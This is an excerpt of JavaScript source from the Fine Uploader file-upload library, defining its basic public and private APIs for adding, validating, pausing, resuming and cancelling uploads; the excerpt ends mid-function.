qq.basePublicApi = {\n        // DEPRECATED - TODO REMOVE IN NEXT MAJOR RELEASE (replaced by addFiles)\n        addBlobs: function(blobDataOrArray, params, endpoint) {\n            this.addFiles(blobDataOrArray, params, endpoint);\n        },\n\n        addInitialFiles: function(cannedFileList) {\n            var self = this;\n\n            qq.each(cannedFileList, function(index, cannedFile) {\n                self._addCannedFile(cannedFile);\n            });\n        },\n\n        addFiles: function(data, params, endpoint) {\n            this._maybeHandleIos8SafariWorkaround();\n\n            var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId,\n\n                processBlob = qq.bind(function(blob) {\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processBlobData = qq.bind(function(blobData) {\n                    this._handleNewFile(blobData, batchId, verifiedFiles);\n                }, this),\n\n                processCanvas = qq.bind(function(canvas) {\n                    var blob = qq.canvasToBlob(canvas);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: this._options.blobs.defaultName + \".png\"\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processCanvasData = qq.bind(function(canvasData) {\n                    var normalizedQuality = canvasData.quality && canvasData.quality / 100,\n                        blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);\n\n                    this._handleNewFile({\n                        blob: blob,\n                        name: canvasData.name\n                    }, batchId, verifiedFiles);\n                }, this),\n\n                processFileOrInput = qq.bind(function(fileOrInput) {\n                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {\n                        var files = Array.prototype.slice.call(fileOrInput.files),\n                            self = this;\n\n                        qq.each(files, function(idx, file) {\n                            self._handleNewFile(file, batchId, verifiedFiles);\n                        });\n                    }\n                    else {\n                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);\n                    }\n                }, this),\n\n                normalizeData = function() {\n                    if (qq.isFileList(data)) {\n                        data = Array.prototype.slice.call(data);\n                    }\n                    data = [].concat(data);\n                },\n\n                self = this,\n                verifiedFiles = [];\n\n            this._currentBatchId = batchId;\n\n            if (data) {\n                normalizeData();\n\n                qq.each(data, function(idx, fileContainer) {\n                    if (qq.isFileOrInput(fileContainer)) {\n                        processFileOrInput(fileContainer);\n                    }\n                    else if (qq.isBlob(fileContainer)) {\n                        processBlob(fileContainer);\n                    }\n                    else if (qq.isObject(fileContainer)) {\n                        if (fileContainer.blob && fileContainer.name) {\n                            processBlobData(fileContainer);\n                        }\n                        else if (fileContainer.canvas && fileContainer.name) {\n                            processCanvasData(fileContainer);\n                        }\n                    }\n                    else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === \"canvas\") {\n                        processCanvas(fileContainer);\n                    }\n                    else {\n                        self.log(fileContainer + \" is not a valid file container!  Ignoring!\", \"warn\");\n                    }\n                });\n\n                this.log(\"Received \" + verifiedFiles.length + \" files.\");\n                this._prepareItemsForUpload(verifiedFiles, params, endpoint);\n            }\n        },\n\n        cancel: function(id) {\n            this._handler.cancel(id);\n        },\n\n        cancelAll: function() {\n            var storedIdsCopy = [],\n                self = this;\n\n            qq.extend(storedIdsCopy, this._storedIds);\n            qq.each(storedIdsCopy, function(idx, storedFileId) {\n                self.cancel(storedFileId);\n            });\n\n            this._handler.cancelAll();\n        },\n\n        clearStoredFiles: function() {\n            this._storedIds = [];\n        },\n\n        continueUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            if (uploadData.status === qq.status.PAUSED) {\n                this.log(qq.format(\"Paused file ID {} ({}) will be continued.  Not paused.\", id, this.getName(id)));\n                this._uploadFile(id);\n                return true;\n            }\n            else {\n                this.log(qq.format(\"Ignoring continue for file ID {} ({}).  Not paused.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        deleteFile: function(id) {\n            return this._onSubmitDelete(id);\n        },\n\n        // TODO document?\n        doesExist: function(fileOrBlobId) {\n            return this._handler.isValid(fileOrBlobId);\n        },\n\n        // Generate a variable size thumbnail on an img or canvas,\n        // returning a promise that is fulfilled when the attempt completes.\n        // Thumbnail can either be based off of a URL for an image returned\n        // by the server in the upload response, or the associated `Blob`.\n        drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {\n            var promiseToReturn = new qq.Promise(),\n                fileOrUrl, options;\n\n            if (this._imageGenerator) {\n                fileOrUrl = this._thumbnailUrls[fileId];\n                options = {\n                    customResizeFunction: customResizeFunction,\n                    maxSize: maxSize > 0 ? maxSize : null,\n                    scale: maxSize > 0\n                };\n\n                // If client-side preview generation is possible\n                // and we are not specifically looking for the image URl returned by the server...\n                if (!fromServer && qq.supportedFeatures.imagePreviews) {\n                    fileOrUrl = this.getFile(fileId);\n                }\n\n                /* jshint eqeqeq:false,eqnull:true */\n                if (fileOrUrl == null) {\n                    promiseToReturn.failure({container: imgOrCanvas, error: \"File or URL not found.\"});\n                }\n                else {\n                    this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(\n                        function success(modifiedContainer) {\n                            promiseToReturn.success(modifiedContainer);\n                        },\n\n                        function failure(container, reason) {\n                            promiseToReturn.failure({container: container, error: reason || \"Problem generating thumbnail\"});\n                        }\n                    );\n                }\n            }\n            else {\n                promiseToReturn.failure({container: imgOrCanvas, error: \"Missing image generator module\"});\n            }\n\n            return promiseToReturn;\n        },\n\n        getButton: function(fileId) {\n            return this._getButton(this._buttonIdsForFileIds[fileId]);\n        },\n\n        getEndpoint: function(fileId) {\n            return this._endpointStore.get(fileId);\n        },\n\n        getFile: function(fileOrBlobId) {\n            return this._handler.getFile(fileOrBlobId) || null;\n        },\n\n        getInProgress: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED\n                ]\n            }).length;\n        },\n\n        getName: function(id) {\n            return this._uploadData.retrieve({id: id}).name;\n        },\n\n        // Parent ID for a specific file, or null if this is the parent, or if it has no parent.\n        getParentId: function(id) {\n            var uploadDataEntry = this.getUploads({id: id}),\n                parentId = null;\n\n            if (uploadDataEntry) {\n                if (uploadDataEntry.parentId !== undefined) {\n                    parentId = uploadDataEntry.parentId;\n                }\n            }\n\n            return parentId;\n        },\n\n        getResumableFilesData: function() {\n            return this._handler.getResumableFilesData();\n        },\n\n        getSize: function(id) {\n            return this._uploadData.retrieve({id: id}).size;\n        },\n\n        getNetUploads: function() {\n            return this._netUploaded;\n        },\n\n        getRemainingAllowedItems: function() {\n            var allowedItems = this._currentItemLimit;\n\n            if (allowedItems > 0) {\n                return allowedItems - this._netUploadedOrQueued;\n            }\n\n            return null;\n        },\n\n        getUploads: function(optionalFilter) {\n            return this._uploadData.retrieve(optionalFilter);\n        },\n\n        getUuid: function(id) {\n            return this._uploadData.retrieve({id: id}).uuid;\n        },\n\n        log: function(str, level) {\n            if (this._options.debug && (!level || level === \"info\")) {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str);\n            }\n            else if (level && level !== \"info\") {\n                qq.log(\"[Fine Uploader \" + qq.version + \"] \" + str, level);\n\n            }\n        },\n\n        pauseUpload: function(id) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {\n                return false;\n            }\n\n            // Pause only really makes sense if the file is uploading or retrying\n            if (qq.indexOf([qq.status.UPLOADING, qq.status.UPLOAD_RETRYING], uploadData.status) >= 0) {\n                if (this._handler.pause(id)) {\n                    this._uploadData.setStatus(id, qq.status.PAUSED);\n                    return true;\n                }\n                else {\n                    this.log(qq.format(\"Unable to pause file ID {} ({}).\", id, this.getName(id)), \"error\");\n                }\n            }\n            else {\n                this.log(qq.format(\"Ignoring pause for file ID {} ({}).  Not in progress.\", id, this.getName(id)), \"error\");\n            }\n\n            return false;\n        },\n\n        reset: function() {\n            this.log(\"Resetting uploader...\");\n\n            this._handler.reset();\n            this._storedIds = [];\n            this._autoRetries = [];\n            this._retryTimeouts = [];\n            this._preventRetries = [];\n            this._thumbnailUrls = [];\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n\n            this._paramsStore.reset();\n            this._endpointStore.reset();\n            this._netUploadedOrQueued = 0;\n            this._netUploaded = 0;\n            this._uploadData.reset();\n            this._buttonIdsForFileIds = [];\n\n            this._pasteHandler && this._pasteHandler.reset();\n            this._options.session.refreshOnReset && this._refreshSessionData();\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n\n            this._totalProgress && this._totalProgress.reset();\n        },\n\n        retry: function(id) {\n            return this._manualRetry(id);\n        },\n\n        scaleImage: function(id, specs) {\n            var self = this;\n\n            return qq.Scaler.prototype.scaleImage(id, specs, {\n                log: qq.bind(self.log, self),\n                getFile: qq.bind(self.getFile, self),\n                uploadData: self._uploadData\n            });\n        },\n\n        setCustomHeaders: function(headers, id) {\n            this._customHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileCustomHeaders: function(headers, id) {\n            this._deleteFileCustomHeadersStore.set(headers, id);\n        },\n\n        setDeleteFileEndpoint: function(endpoint, id) {\n            this._deleteFileEndpointStore.set(endpoint, id);\n        },\n\n        setDeleteFileParams: function(params, id) {\n            this._deleteFileParamsStore.set(params, id);\n        },\n\n        // Re-sets the default endpoint, an endpoint for a specific file, or an endpoint for a specific button\n        setEndpoint: function(endpoint, id) {\n            this._endpointStore.set(endpoint, id);\n        },\n\n        setForm: function(elementOrId) {\n            this._updateFormSupportAndParams(elementOrId);\n        },\n\n        setItemLimit: function(newItemLimit) {\n            this._currentItemLimit = newItemLimit;\n        },\n\n        setName: function(id, newName) {\n            this._uploadData.updateName(id, newName);\n        },\n\n        setParams: function(params, id) {\n            this._paramsStore.set(params, id);\n        },\n\n        setUuid: function(id, newUuid) {\n            return this._uploadData.uuidChanged(id, newUuid);\n        },\n\n        uploadStoredFiles: function() {\n            if (this._storedIds.length === 0) {\n                this._itemError(\"noFilesError\");\n            }\n            else {\n                this._uploadStoredFiles();\n            }\n        }\n    };\n\n    /**\n     * Defines the private (internal) API for FineUploaderBasic mode.\n     */\n    qq.basePrivateApi = {\n        // Updates internal state with a file record (not backed by a live file).  Returns the assigned ID.\n        _addCannedFile: function(sessionData) {\n            var id = this._uploadData.addFile({\n                uuid: sessionData.uuid,\n                name: sessionData.name,\n                size: sessionData.size,\n                status: qq.status.UPLOAD_SUCCESSFUL\n            });\n\n            sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);\n            sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);\n\n            if (sessionData.thumbnailUrl) {\n                this._thumbnailUrls[id] = sessionData.thumbnailUrl;\n            }\n\n            this._netUploaded++;\n            this._netUploadedOrQueued++;\n\n            return id;\n        },\n\n        _annotateWithButtonId: function(file, associatedInput) {\n            if (qq.isFile(file)) {\n                file.qqButtonId = this._getButtonId(associatedInput);\n            }\n        },\n\n        _batchError: function(message) {\n            this._options.callbacks.onError(null, null, message, undefined);\n        },\n\n        _createDeleteHandler: function() {\n            var self = this;\n\n            return new qq.DeleteFileAjaxRequester({\n                method: this._options.deleteFile.method.toUpperCase(),\n                maxConnections: this._options.maxConnections,\n                uuidParamName: this._options.request.uuidName,\n                customHeaders: this._deleteFileCustomHeadersStore,\n                paramsStore: this._deleteFileParamsStore,\n                endpointStore: this._deleteFileEndpointStore,\n                cors: this._options.cors,\n                log: qq.bind(self.log, self),\n                onDelete: function(id) {\n                    self._onDelete(id);\n                    self._options.callbacks.onDelete(id);\n                },\n                onDeleteComplete: function(id, xhrOrXdr, isError) {\n                    self._onDeleteComplete(id, xhrOrXdr, isError);\n                    self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);\n                }\n\n            });\n        },\n\n        _createPasteHandler: function() {\n            var self = this;\n\n            return new qq.PasteSupport({\n                targetElement: this._options.paste.targetElement,\n                callbacks: {\n                    log: qq.bind(self.log, self),\n                    pasteReceived: function(blob) {\n                        self._handleCheckedCallback({\n                            name: \"onPasteReceived\",\n                            callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),\n                            onSuccess: qq.bind(self._handlePasteSuccess, self, blob),\n                            identifier: \"pasted image\"\n                        });\n                    }\n                }\n            });\n        },\n\n        _createStore: function(initialValue, _readOnlyValues_) {\n            var store = {},\n                catchall = initialValue,\n                perIdReadOnlyValues = {},\n                readOnlyValues = _readOnlyValues_,\n                copy = function(orig) {\n                    if (qq.isObject(orig)) {\n                        return qq.extend({}, orig);\n                    }\n                    return orig;\n                },\n                getReadOnlyValues = function() {\n                    if (qq.isFunction(readOnlyValues)) {\n                        return readOnlyValues();\n                    }\n                    return readOnlyValues;\n                },\n                includeReadOnlyValues = function(id, existing) {\n                    if (readOnlyValues && qq.isObject(existing)) {\n                        qq.extend(existing, getReadOnlyValues());\n                    }\n\n                    if (perIdReadOnlyValues[id]) {\n                        qq.extend(existing, perIdReadOnlyValues[id]);\n                    }\n                };\n\n            return {\n                set: function(val, id) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id == null) {\n                        store = {};\n                        catchall = copy(val);\n                    }\n                    else {\n                        store[id] = copy(val);\n                    }\n                },\n\n                get: function(id) {\n                    var values;\n\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    if (id != null && store[id]) {\n                        values = store[id];\n                    }\n                    else {\n                        values = copy(catchall);\n                    }\n\n                    includeReadOnlyValues(id, values);\n\n                    return copy(values);\n                },\n\n                addReadOnly: function(id, values) {\n                    // Only applicable to Object stores\n                    if (qq.isObject(store)) {\n                        // If null ID, apply readonly values to all files\n                        if (id === null) {\n                            if (qq.isFunction(values)) {\n                                readOnlyValues = values;\n                            }\n                            else {\n                                readOnlyValues = readOnlyValues || {};\n                                qq.extend(readOnlyValues, values);\n                            }\n                        }\n                        else {\n                            perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};\n                            qq.extend(perIdReadOnlyValues[id], values);\n                        }\n                    }\n                },\n\n                remove: function(fileId) {\n                    return delete store[fileId];\n                },\n\n                reset: function() {\n                    store = {};\n                    perIdReadOnlyValues = {};\n                    catchall = initialValue;\n                }\n            };\n        },\n\n        _createUploadDataTracker: function() {\n            var self = this;\n\n            return new qq.UploadData({\n                getName: function(id) {\n                    return self.getName(id);\n                },\n                getUuid: function(id) {\n                    return self.getUuid(id);\n                },\n                getSize: function(id) {\n                    return self.getSize(id);\n                },\n                onStatusChange: function(id, oldStatus, newStatus) {\n                    self._onUploadStatusChange(id, oldStatus, newStatus);\n                    self._options.callbacks.onStatusChange(id, oldStatus, newStatus);\n                    self._maybeAllComplete(id, newStatus);\n\n                    if (self._totalProgress) {\n                        setTimeout(function() {\n                            self._totalProgress.onStatusChange(id, oldStatus, newStatus);\n                        }, 0);\n                    }\n                }\n            });\n        },\n\n        /**\n         * Generate a tracked upload button.\n         *\n         * @param spec Object containing a required `element` property\n         * along with optional `multiple`, `accept`, and `folders`.\n         * @returns {qq.UploadButton}\n         * @private\n         */\n        _createUploadButton: function(spec) {\n            var self = this,\n                acceptFiles = spec.accept || this._options.validation.acceptFiles,\n                allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions,\n                button;\n\n            function allowMultiple() {\n                if (qq.supportedFeatures.ajaxUploading) {\n                    // Workaround for bug in iOS7+ (see #1039)\n                    if (self._options.workarounds.iosEmptyVideos &&\n                        qq.ios() &&\n                        !qq.ios6() &&\n                        self._isAllowedExtension(allowedExtensions, \".mov\")) {\n\n                        return false;\n                    }\n\n                    if (spec.multiple === undefined) {\n                        return self._options.multiple;\n                    }\n\n                    return spec.multiple;\n                }\n\n                return false;\n            }\n\n            button = new qq.UploadButton({\n                acceptFiles: acceptFiles,\n                element: spec.element,\n                focusClass: this._options.classes.buttonFocus,\n                folders: spec.folders,\n                hoverClass: this._options.classes.buttonHover,\n                ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,\n                multiple: allowMultiple(),\n                name: this._options.request.inputName,\n                onChange: function(input) {\n                    self._onInputChange(input);\n                },\n                title: spec.title == null ? this._options.text.fileInputTitle : spec.title\n            });\n\n            this._disposeSupport.addDisposer(function() {\n                button.dispose();\n            });\n\n            self._buttons.push(button);\n\n            return button;\n        },\n\n        _createUploadHandler: function(additionalOptions, namespace) {\n            var self = this,\n                lastOnProgress = {},\n                options = {\n                    debug: this._options.debug,\n                    maxConnections: this._options.maxConnections,\n                    cors: this._options.cors,\n                    paramsStore: this._paramsStore,\n                    endpointStore: this._endpointStore,\n                    chunking: this._options.chunking,\n                    resume: this._options.resume,\n                    blobs: this._options.blobs,\n                    log: qq.bind(self.log, self),\n                    preventRetryParam: this._options.retry.preventRetryResponseProperty,\n                    onProgress: function(id, name, loaded, total) {\n                        if (loaded < 0 || total < 0) {\n                            return;\n                        }\n\n                        if (lastOnProgress[id]) {\n                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {\n                                self._onProgress(id, name, loaded, total);\n                                self._options.callbacks.onProgress(id, name, loaded, total);\n                            }\n                        }\n                        else {\n                            self._onProgress(id, name, loaded, total);\n                            self._options.callbacks.onProgress(id, name, loaded, total);\n                        }\n\n                        lastOnProgress[id] = {loaded: loaded, total: total};\n\n                    },\n                    onComplete: function(id, name, result, xhr) {\n                        delete lastOnProgress[id];\n\n                        var status = self.getUploads({id: id}).status,\n                            retVal;\n\n                        // This is to deal with some observed cases where the XHR readyStateChange handler is\n                        // invoked by the browser multiple times for the same XHR instance with the same state\n                        // readyState value.  Higher level: don't invoke complete-related code if we've already\n                        // done this.\n                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {\n                            return;\n                        }\n\n                        retVal = self._onComplete(id, name, result, xhr);\n\n                        // If the internal `_onComplete` handler returns a promise, don't invoke the `onComplete` callback\n                        // until the promise has been fulfilled.\n                        if (retVal instanceof  qq.Promise) {\n                            retVal.done(function() {\n                                self._options.callbacks.onComplete(id, name, result, xhr);\n                            });\n                        }\n                        else {\n                            self._options.callbacks.onComplete(id, name, result, xhr);\n                        }\n                    },\n                    onCancel: function(id, name, cancelFinalizationEffort) {\n                        var promise = new qq.Promise();\n\n                        self._handleCheckedCallback({\n                            name: \"onCancel\",\n                            callback: qq.bind(self._options.callbacks.onCancel, self, id, name),\n                            onFailure: promise.failure,\n                            onSuccess: function() {\n                                cancelFinalizationEffort.then(function() {\n                                    self._onCancel(id, name);\n                                });\n\n                                promise.success();\n                            },\n                            identifier: id\n                        });\n\n                        return promise;\n                    },\n                    onUploadPrep: qq.bind(this._onUploadPrep, this),\n                    onUpload: function(id, name) {\n                        self._onUpload(id, name);\n                        self._options.callbacks.onUpload(id, name);\n                    },\n                    onUploadChunk: function(id, name, chunkData) {\n                        self._onUploadChunk(id, chunkData);\n                        self._options.callbacks.onUploadChunk(id, name, chunkData);\n                    },\n                    onUploadChunkSuccess: function(id, chunkData, result, xhr) {\n                        self._options.callbacks.onUploadChunkSuccess.apply(self, arguments);\n                    },\n                    onResume: function(id, name, chunkData) {\n                        return self._options.callbacks.onResume(id, name, chunkData);\n                    },\n                    onAutoRetry: function(id, name, responseJSON, xhr) {\n                        return self._onAutoRetry.apply(self, arguments);\n                    },\n                    onUuidChanged: function(id, newUuid) {\n                        self.log(\"Server requested UUID change from '\" + self.getUuid(id) + \"' to '\" + newUuid + \"'\");\n                        self.setUuid(id, newUuid);\n                    },\n                    getName: qq.bind(self.getName, self),\n                    getUuid: qq.bind(self.getUuid, self),\n                    getSize: qq.bind(self.getSize, self),\n                    setSize: qq.bind(self._setSize, self),\n                    getDataByUuid: function(uuid) {\n                        return self.getUploads({uuid: uuid});\n                    },\n                    isQueued: function(id) {\n                        var status = self.getUploads({id: id}).status;\n                        return status === qq.status.QUEUED ||\n                            status === qq.status.SUBMITTED ||\n                            status === qq.status.UPLOAD_RETRYING ||\n                            status === qq.status.PAUSED;\n                    },\n                    getIdsInProxyGroup: self._uploadData.getIdsInProxyGroup,\n                    getIdsInBatch: self._uploadData.getIdsInBatch\n                };\n\n            qq.each(this._options.request, function(prop, val) {\n                options[prop] = val;\n            });\n\n            options.customHeaders = this._customHeadersStore;\n\n            if (additionalOptions) {\n                qq.each(additionalOptions, function(key, val) {\n                    options[key] = val;\n                });\n            }\n\n            return new qq.UploadHandlerController(options, namespace);\n        },\n\n        _fileOrBlobRejected: function(id) {\n            this._netUploadedOrQueued--;\n            this._uploadData.setStatus(id, qq.status.REJECTED);\n        },\n\n        _formatSize: function(bytes) {\n            var i = -1;\n            do {\n                bytes = bytes / 1000;\n                i++;\n            } while (bytes > 999);\n\n            return Math.max(bytes, 0.1).toFixed(1) + this._options.text.sizeSymbols[i];\n        },\n\n        // Creates an internal object that tracks various properties of each extra button,\n        // and then actually creates the extra button.\n        _generateExtraButtonSpecs: function() {\n            var self = this;\n\n            this._extraButtonSpecs = {};\n\n            qq.each(this._options.extraButtons, function(idx, extraButtonOptionEntry) {\n                var multiple = extraButtonOptionEntry.multiple,\n                    validation = qq.extend({}, self._options.validation, true),\n                    extraButtonSpec = qq.extend({}, extraButtonOptionEntry);\n\n                if (multiple === undefined) {\n                    multiple = self._options.multiple;\n                }\n\n                if (extraButtonSpec.validation) {\n                    qq.extend(validation, extraButtonOptionEntry.validation, true);\n                }\n\n                qq.extend(extraButtonSpec, {\n                    multiple: multiple,\n                    validation: validation\n                }, true);\n\n                self._initExtraButton(extraButtonSpec);\n            });\n        },\n\n        _getButton: function(buttonId) {\n            var extraButtonsSpec = this._extraButtonSpecs[buttonId];\n\n            if (extraButtonsSpec) {\n                return extraButtonsSpec.element;\n            }\n            else if (buttonId === this._defaultButtonId) {\n                return this._options.button;\n            }\n        },\n\n        /**\n         * Gets the internally used tracking ID for a button.\n         *\n         * @param buttonOrFileInputOrFile `File`, `<input type=\"file\">`, or a button container element\n         * @returns {*} The button's ID, or undefined if no ID is recoverable\n         * @private\n         */\n        _getButtonId: function(buttonOrFileInputOrFile) {\n            var inputs, fileInput,\n                fileBlobOrInput = buttonOrFileInputOrFile;\n\n            // We want the reference file/blob here if this is a proxy (a file that will be generated on-demand later)\n            if (fileBlobOrInput instanceof qq.BlobProxy) {\n                fileBlobOrInput = fileBlobOrInput.referenceBlob;\n            }\n\n            // If the item is a `Blob` it will never be associated with a button or drop zone.\n            if (fileBlobOrInput && !qq.isBlob(fileBlobOrInput)) {\n                if (qq.isFile(fileBlobOrInput)) {\n                    return fileBlobOrInput.qqButtonId;\n                }\n                else if (fileBlobOrInput.tagName.toLowerCase() === \"input\" &&\n                    fileBlobOrInput.type.toLowerCase() === \"file\") {\n\n                    return fileBlobOrInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n\n                inputs = fileBlobOrInput.getElementsByTagName(\"input\");\n\n                qq.each(inputs, function(idx, input) {\n                    if (input.getAttribute(\"type\") === \"file\") {\n                        fileInput = input;\n                        return false;\n                    }\n                });\n\n                if (fileInput) {\n                    return fileInput.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);\n                }\n            }\n        },\n\n        _getNotFinished: function() {\n            return this._uploadData.retrieve({\n                status: [\n                    qq.status.UPLOADING,\n                    qq.status.UPLOAD_RETRYING,\n                    qq.status.QUEUED,\n                    qq.status.SUBMITTING,\n                    qq.status.SUBMITTED,\n                    qq.status.PAUSED\n                ]\n            }).length;\n        },\n\n        // Get the validation options for this button.  Could be the default validation option\n        // or a specific one assigned to this particular button.\n        _getValidationBase: function(buttonId) {\n            var extraButtonSpec = this._extraButtonSpecs[buttonId];\n\n            return extraButtonSpec ? extraButtonSpec.validation : this._options.validation;\n        },\n\n        _getValidationDescriptor: function(fileWrapper) {\n            if (fileWrapper.file instanceof qq.BlobProxy) {\n                return {\n                    name: qq.getFilename(fileWrapper.file.referenceBlob),\n                    size: fileWrapper.file.referenceBlob.size\n                };\n            }\n\n            return {\n                name: this.getUploads({id: fileWrapper.id}).name,\n                size: this.getUploads({id: fileWrapper.id}).size\n            };\n        },\n\n        _getValidationDescriptors: function(fileWrappers) {\n            var self = this,\n                fileDescriptors = [];\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                fileDescriptors.push(self._getValidationDescriptor(fileWrapper));\n            });\n\n            return fileDescriptors;\n        },\n\n        // Allows camera access on either the default or an extra button for iOS devices.\n        _handleCameraAccess: function() {\n            if (this._options.camera.ios && qq.ios()) {\n                var acceptIosCamera = \"image/*;capture=camera\",\n                    button = this._options.camera.button,\n                    buttonId = button ? this._getButtonId(button) : this._defaultButtonId,\n                    optionRoot = this._options;\n\n                // If we are not targeting the default button, it is an \"extra\" button\n                if (buttonId && buttonId !== this._defaultButtonId) {\n                    optionRoot = this._extraButtonSpecs[buttonId];\n                }\n\n                // Camera access won't work in iOS if the `multiple` attribute is present on the file input\n                optionRoot.multiple = false;\n\n                // update the options\n                if (optionRoot.validation.acceptFiles === null) {\n                    optionRoot.validation.acceptFiles = acceptIosCamera;\n                }\n                else {\n                    optionRoot.validation.acceptFiles += \",\" + acceptIosCamera;\n                }\n\n                // update the already-created button\n                qq.each(this._buttons, function(idx, button) {\n                    if (button.getButtonId() === buttonId) {\n                        button.setMultiple(optionRoot.multiple);\n                        button.setAcceptFiles(optionRoot.acceptFiles);\n\n                        return false;\n                    }\n                });\n            }\n        },\n\n        _handleCheckedCallback: function(details) {\n            var self = this,\n                callbackRetVal = details.callback();\n\n            if (qq.isGenericPromise(callbackRetVal)) {\n                this.log(details.name + \" - waiting for \" + details.name + \" promise to be fulfilled for \" + details.identifier);\n                return callbackRetVal.then(\n                    function(successParam) {\n                        self.log(details.name + \" promise success for \" + details.identifier);\n                        details.onSuccess(successParam);\n                    },\n                    function() {\n                        if (details.onFailure) {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                            details.onFailure();\n                        }\n                        else {\n                            self.log(details.name + \" promise failure for \" + details.identifier);\n                        }\n                    });\n            }\n\n            if (callbackRetVal !== false) {\n                details.onSuccess(callbackRetVal);\n            }\n            else {\n                if (details.onFailure) {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Invoking failure callback.\");\n                    details.onFailure();\n                }\n                else {\n                    this.log(details.name + \" - return value was 'false' for \" + details.identifier + \".  Will not proceed.\");\n                }\n            }\n\n            return callbackRetVal;\n        },\n\n        // Updates internal state when a new file has been received, and adds it along with its ID to a passed array.\n        _handleNewFile: function(file, batchId, newFileWrapperList) {\n            var self = this,\n                uuid = qq.getUniqueId(),\n                size = -1,\n                name = qq.getFilename(file),\n                actualFile = file.blob || file,\n                handler = this._customNewFileHandler ?\n                    this._customNewFileHandler :\n                    qq.bind(self._handleNewFileGeneric, self);\n\n            if (!qq.isInput(actualFile) && actualFile.size >= 0) {\n                size = actualFile.size;\n            }\n\n            handler(actualFile, name, uuid, size, newFileWrapperList, batchId, this._options.request.uuidName, {\n                uploadData: self._uploadData,\n                paramsStore: self._paramsStore,\n                addFileToHandler: function(id, file) {\n                    self._handler.add(id, file);\n                    self._netUploadedOrQueued++;\n                    self._trackButton(id);\n                }\n            });\n        },\n\n        _handleNewFileGeneric: function(file, name, uuid, size, fileList, batchId) {\n            var id = this._uploadData.addFile({uuid: uuid, name: name, size: size, batchId: batchId});\n\n            this._handler.add(id, file);\n            this._trackButton(id);\n\n            this._netUploadedOrQueued++;\n\n            fileList.push({id: id, file: file});\n        },\n\n        _handlePasteSuccess: function(blob, extSuppliedName) {\n            var extension = blob.type.split(\"/\")[1],\n                name = extSuppliedName;\n\n            /*jshint eqeqeq: true, eqnull: true*/\n            if (name == null) {\n                name = this._options.paste.defaultName;\n            }\n\n            name += \".\" + extension;\n\n            this.addFiles({\n                name: name,\n                blob: blob\n            });\n        },\n\n        // Creates an extra button element\n        _initExtraButton: function(spec) {\n            var button = this._createUploadButton({\n                accept: spec.validation.acceptFiles,\n                allowedExtensions: spec.validation.allowedExtensions,\n                element: spec.element,\n                folders: spec.folders,\n                multiple: spec.multiple,\n                title: spec.fileInputTitle\n            });\n\n            this._extraButtonSpecs[button.getButtonId()] = spec;\n        },\n\n        _initFormSupportAndParams: function() {\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n            );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore = this._createStore(\n                    this._options.request.params,  this._formSupport.getFormInputsAsObject\n                );\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this._options.request.endpoint = this._formSupport.newEndpoint;\n                }\n            }\n            else {\n                this._paramsStore = this._createStore(this._options.request.params);\n            }\n        },\n\n        _isDeletePossible: function() {\n            if (!qq.DeleteFileAjaxRequester || !this._options.deleteFile.enabled) {\n                return false;\n            }\n\n            if (this._options.cors.expected) {\n                if (qq.supportedFeatures.deleteFileCorsXhr) {\n                    return true;\n                }\n\n                if (qq.supportedFeatures.deleteFileCorsXdr && this._options.cors.allowXdr) {\n                    return true;\n                }\n\n                return false;\n            }\n\n            return true;\n        },\n\n        _isAllowedExtension: function(allowed, fileName) {\n            var valid = false;\n\n            if (!allowed.length) {\n                return true;\n            }\n\n            qq.each(allowed, function(idx, allowedExt) {\n                /**\n                 * If an argument is not a string, ignore it.  Added when a possible issue with MooTools hijacking the\n                 * `allowedExtensions` array was discovered.  See case #735 in the issue tracker for more details.\n                 */\n                if (qq.isString(allowedExt)) {\n                    /*jshint eqeqeq: true, eqnull: true*/\n                    var extRegex = new RegExp(\"\\\\.\" + allowedExt + \"$\", \"i\");\n\n                    if (fileName.match(extRegex) != null) {\n                        